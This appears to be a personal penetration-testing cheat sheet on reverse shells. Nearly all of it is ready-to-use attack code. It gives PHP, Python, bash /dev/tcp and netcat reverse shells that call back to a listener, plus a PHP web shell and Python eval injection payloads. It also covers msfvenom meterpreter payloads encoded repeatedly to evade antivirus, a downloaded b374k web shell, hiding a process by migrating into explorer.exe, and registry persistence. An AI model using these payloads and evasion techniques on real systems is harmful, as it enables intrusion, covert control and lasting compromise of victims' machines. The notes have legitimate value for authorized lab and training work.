Reverse Shell

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Inside kali linux

/usr/share/webshells/php

PHP

```
<?php $sock=fsockopen("10.10.14.33",9999);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
<?php echo system($_REQUEST['ahmed']); ?>
```

Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",7771));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
```

~~~~~~~~~~~~~~

```
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.32",7771));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
```

NC

```
nc -e /bin/sh <ip addr> <port>
```

Fully Interactive Shell

```
# stable shell
python -c 'import  pty; pty.spawn("/bin/bash");'

# auto complete
CTRL^Z
stty raw -echo
fg
Enter
Enter

# clear
echo $TERM               —> inside your shell , lets say you get screen
export TERM=screen


# edit with nano and vi
```
~~~~~~~~~~~~~~

```
// get the number or ROWS and Columns , example 34 , 126
stty -a
//in ur shell (exploited one)
stty rows 34 cols 136
```

Bash Shell

```
bash -c  'bash -i >& /dev/tcp/10.10.14.33/9999 0>&1'
nc -nlvp 12345
```

Nmap Shell

```
sudo nmap --interactive
```

Python Eval

```
eval( <user input> )
```

import in one line

```
payload = '__import__("os").system("ping -c 1 10.10.14.9")'
```

to check the payload is successfull

```
tcpdump -n -i tun0 icmp
```

get payload from pentest monkey

sometimes the shell does-not work on eval because it need it to be in one line

To make one line :

```
nano file.py
from base64 import b64encode
sc= """ <payload>"""
print(b64.encode(sc.encode())
```

```
python3 file.py
```

take the base64

change payload to be

```
eval('exec(("base64").b64decode("<copied base64 payload>"))')
```

JAVA

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell_exp1o1t9r.jsp
```

ASPX

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f aspx > devel.aspx
```

put devel.aspx

run listener on msfconsole

```
session -i 1
```

Windows

Cool shell with browser:

```
wget -O payload1.php https://raw.githubusercontent.com/BlackArch/webshells/master/php/b374k-2.7.php
```

```
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
```

Notes :

single payload (stageless) : fire and forget , single file has all malicious code , runs and exits
stagger payload : has stages

Meterpreter :
https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/
https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/

Reverse shell vs Bind shell: mainly about who initiates the connection (tcp connection three-way handshake)

(from stackoverflow)
A **reverse shell** is a shell initiated from the target host back to the attack box which is in a listening state to pick up the shell.
A **bind shell** is setup on the target host and binds to a specific port to listens for an incoming connection from the attack box.

Most firewalls block incoming connections , so reverse shell is better better at evading.

Msfvenom

```
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.2.4 lport=1337 -f exe > exploit1.exe
```

to encode a payload) : (change how it looks to bypass anti-viruses , beyghayar fel shakl bas).

```
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=10.0.2.13 lport 1337 -e x86/shikata_ga_nai -f exe > exploit
```

add (-i 3) to the command to add three encoding iteration .

bad characters :
in some softwares , they filter characters that can cause an attack.
so add option in venom

```
-b '\x00' -f raw
```

final command to generate payload 3 times :

```
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=10.144.3.89 lport=1337 -e x86/shikata_ga_nai  -i 3 -f raw |msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 10 -f exe -o exploit-insane.exe
```

virustotal.com : check how many anti-viruses that you can detect the virus.

How to listen after generating a payload : using metasploit , because netcad can only open one connection.

```
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.2.13
set lport 1337
```

in msfconsole :
show advanced : shows additional options that you can set in your exploit .
Perpend migrate --> search for it

migration : hiding evil process in a good one line exploit.exe in explorer.exe in windows (explorer.exe always running so your evil process is always running too)
how : command migrate and give it the process id you want to migrate to.

how to make your payload persistent (runs after reboot) :
play in registry (configurations) , you can find them in startup tab in task manager
this registery has file that has the name of apps that run on startup .

use command run persistence in meterpreter

scriptdotsh malware development github
apt-install mingw-w64
fernet_obfuscator